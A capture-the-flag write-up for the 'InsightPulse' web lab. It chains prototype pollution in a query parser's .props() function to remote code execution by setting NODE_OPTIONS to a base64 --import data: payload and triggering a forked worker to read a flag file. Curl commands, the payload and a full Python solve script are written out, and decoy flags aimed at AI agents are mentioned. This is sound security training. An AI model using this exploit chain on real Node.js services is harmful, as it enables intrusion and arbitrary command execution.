Lab 349 — InsightPulse — Prototype Pollution to RCE via TSQL Query Engine
Lab 349 — InsightPulse — Prototype Pollution to RCE via TSQL Query Engine
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: error_based_data_exfiltration, esm_module_code_execution, honeypot_flag_identification, node_options_import_data_uri_rce, prototype_pollution_via_dot_notation_unflatten
Summary
Task: InsightPulse analytics platform with custom TSQL query language where .props() function uses unsafe unflatten to convert dot-notation paths into nested objects, allowing proto pollution. Solution: Pollute Object.prototype.NODE_OPTIONS with --import data:text/javascript;base64 payload, then trigger child_process.fork() via export endpoint to execute ESM code that reads /root/flag.txt and exfiltrates via thrown Error.
Lab 349 — InsightPulse — Prototype Pollution to RCE via TSQL Query Engine — HackAdvisor
Description
InsightPulse is a real-time analytics and data visualization platform used by engineering teams to monitor application metrics. Built by PulseMetrics Inc., the platform features a powerful custom time-series query language (TSQL) in its Visualizer module that allows users to create charts, apply transformations, and configure display properties using expressions like
.series('cpu_usage').range('1d').props(label='CPU %').The application also supports exporting charts and generating PDF reports through a dedicated worker process. Your task is to explore the application, identify a vulnerability in the query engine, and find a way to execute arbitrary commands on the server to read the flag.
The TSQL query language documentation is available in the application's API Docs section. Pay close attention to how the
.props()function handles nested property paths.
English summary: An Express.js (Node.js v20.15.1) analytics platform with a custom TSQL query language. The .props() function accepts dot-notation property paths (e.g., label.color='red') and uses an unsafe unflatten function to convert them into nested objects. This allows prototype pollution via __proto__ keys. A separate export worker process (spawned via child_process.fork()) inherits polluted environment variables, enabling RCE through NODE_OPTIONS=--import data:... injection.
Credentials: user@test.com / password123
Analysis
Reconnaissance
Logged in with provided credentials. The application is an Express.js (Node.js v20.15.1) application with session-based authentication.
Key endpoints discovered:
POST /api/query— Executes TSQL queries. Body:{"query": ".series('cpu_usage').range('1d').agg('avg').props(label='CPU %')"}POST /api/export— Spawns a separate Node.js worker process (fork) to render PDF/PNG reports. Body:{"dashboardId":"1","format":"pdf","title":"Report"}GET /api/docs— API documentation revealing TSQL syntaxGET /visualizer— Interactive query editor
Decoy flags: Every HTML page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} injected in hidden divs and HTML comments — honeypots designed to trap AI agents and automated scanners.
Export worker metadata: "renderer":"insightpulse-export-worker","version":"2.4.1","nodeVersion":"v20.15.1"
Vulnerability: Prototype Pollution via .props()
The .props() function in the TSQL query parser uses an unflatten function (similar to Kibana's Timelion CVE-2019-7609) that converts dot-notation paths into nested objects. It does NOT filter dangerous keys like __proto__, constructor, or prototype.
When sending .props(__proto__.KEY='VALUE'), the parser traverses the dot path and sets the value on Object.prototype, polluting all JavaScript objects in the Node.js process.
Confirmation: Sending .props(__proto__.test='hello') returned 200 OK with displayProps: {"test": "hello"} — the __proto__ was consumed during path traversal, confirming prototype pollution.
Key Constraints
- 3-level paths crash the parser:
__proto__.env.AAAAcauses "Maximum call stack size exceeded" — the unflatten function enters infinite recursion after polluting the prototype - 2-level paths work:
__proto__.argv0and__proto__.NODE_OPTIONSboth return 200 OK - Pollution is permanent: Once the prototype is polluted, the parser breaks for subsequent
.props()calls — you get ONE shot - Classic CVE-2019-7609 env trick doesn't work: It requires 3-level paths (
__proto__.env.AAAA+__proto__.env.NODE_OPTIONS) - Node.js v20 kEmptyObject fix: The
--require /proc/self/cmdlinetrick (argv0 + NODE_OPTIONS) doesn't trigger RCE becausefork()in Node 20 useskEmptyObjectfor default options
Exploitation Strategy: --import data URI (Node >= 19)
The breakthrough was using the --import flag with a data: URI, which:
- Works in Node.js >= 19 (target is v20.15.1)
- Only requires a single 2-level path (
__proto__.NODE_OPTIONS) - Doesn't need filesystem access (no
/proc/self/environor/proc/self/cmdline) - Bypasses
kEmptyObjectprotections becauseNODE_OPTIONSis read from the environment, not from the options object - Uses ESM syntax (required for
--importcontext)
Solution
Step 1: Login
bash read-only • copy allowedcurl -c cookies.txt -X POST "https://TARGET/login" \ -d "email=user@test.com&password=password123"
Step 2: Craft the ESM Payload
The JavaScript payload must use ESM syntax (required for --import):
javascript read-only • copy allowedimport{execSync}from'node:child_process';const r=execSync('cat /root/flag.txt').toString();throw new Error(r);
Base64 encode it:
aW1wb3J0e2V4ZWNTeW5jfWZyb20nbm9kZTpjaGlsZF9wcm9jZXNzJztjb25zdCByPWV4ZWNTeW5jKCdjYXQgL3Jvb3QvZmxhZy50eHQnKS50b1N0cmluZygpO3Rocm93IG5ldyBFcnJvcihyKTs=
Step 3: Pollute Object.prototype.NODE_OPTIONS
Send a single TSQL query that pollutes NODE_OPTIONS with the --import data: URI:
bash read-only • copy allowedcurl -b cookies.txt -X POST "https://TARGET/api/query" \ -H "Content-Type: application/json" \ -d '{"query": ".series('\''cpu_usage'\'').range('\''1d'\'').agg('\''avg'\'').props(__proto__.NODE_OPTIONS='\''--import data:text/javascript;base64,aW1wb3J0e2V4ZWNTeW5jfWZyb20nbm9kZTpjaGlsZF9wcm9jZXNzJztjb25zdCByPWV4ZWNTeW5jKCdjYXQgL3Jvb3QvZmxhZy50eHQnKS50b1N0cmluZygpO3Rocm93IG5ldyBFcnJvcihyKTs='\'')"}'
Response: 200 OK — pollution successful. NODE_OPTIONS is now set on Object.prototype.
Step 4: Trigger Export Worker (fork) to Execute Payload
bash read-only • copy allowedcurl -b cookies.txt -X POST "https://TARGET/api/export" \ -H "Content-Type: application/json" \ -d '{"dashboardId":"1","format":"pdf","title":"Test"}'
What happens:
- The export endpoint calls
child_process.fork()to spawn a worker process - The forked Node.js process inherits the polluted
NODE_OPTIONSenvironment variable - Node.js reads
NODE_OPTIONS=--import data:text/javascript;base64,...and imports the data URI as an ESM module - The ESM module executes
cat /root/flag.txtviaexecSync - The result is thrown as an
Error, which propagates back through the export error handling
Response:
json read-only • copy allowed{ "error": "Export failed", "details": "...Error: FLAG{REDACTED}..." }
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ InsightPulse — Prototype Pollution to RCE via TSQL .props() and NODE_OPTIONS --import data URI Attack chain: 1. Login to get session cookie 2. Pollute Object.prototype.NODE_OPTIONS via .props(__proto__.NODE_OPTIONS='--import data:...') 3. Trigger child_process.fork() via /api/export to execute ESM payload 4. Flag exfiltrated via thrown Error in export error response """ import requests import base64 TARGET = "https://598c7227-460a-4249-9104-069dbfcf5b0d.labs.hackadvisor.io" s = requests.Session() # Step 1: Login s.post(f"{TARGET}/login", data={ "email": "user@test.com", "password": "password123" }) # Step 2: Craft ESM payload (--import requires ESM syntax, not CommonJS) payload_js = "import{execSync}from'node:child_process';const r=execSync('cat /root/flag.txt').toString();throw new Error(r);" payload_b64 = base64.b64encode(payload_js.encode()).decode() # Step 3: Pollute __proto__.NODE_OPTIONS via TSQL .props() # Only 2-level paths work (3-level causes stack overflow in unflatten) node_options = f"--import data:text/javascript;base64,{payload_b64}" query = f".series('cpu_usage').range('1d').agg('avg').props(__proto__.NODE_OPTIONS='{node_options}')" r = s.post(f"{TARGET}/api/query", json={"query": query}) print(f"[*] Pollution response: {r.status_code}") assert r.status_code == 200, f"Pollution failed: {r.text}" # Step 4: Trigger fork() via export — worker inherits polluted NODE_OPTIONS r = s.post(f"{TARGET}/api/export", json={ "dashboardId": "1", "format": "pdf", "title": "Test" }) print(f"[*] Export response: {r.status_code}") print(r.text) # Flag appears in error details import re match = re.search(r'FLAG\{[a-f0-9]+\}', r.text) if match: print(f"\n[+] FLAG: {match.group()}")
Failed Approaches (Important Context)
- Classic CVE-2019-7609 env trick (
__proto__.env.AAAA+__proto__.env.NODE_OPTIONS+--require /proc/self/environ): 3-level paths cause parser stack overflow due to infinite recursion in the unflatten function after prototype pollution - cmdline trick (
__proto__.argv0+__proto__.NODE_OPTIONS='--require /proc/self/cmdline'): Pollution succeeds butfork()in Node 20 ignores pollutedargv0due tokEmptyObjectfix - shell trick (
__proto__.shell='/proc/self/exe'): Changes how fork works, breaks the worker entirely - --import with require(): First attempt used
require('child_process')which fails because--importcreates ESM context whererequireis not defined — must useimportstatement - execSync without throw: Command executes but output is not visible in response — need to
throw new Error(result)to exfiltrate via error message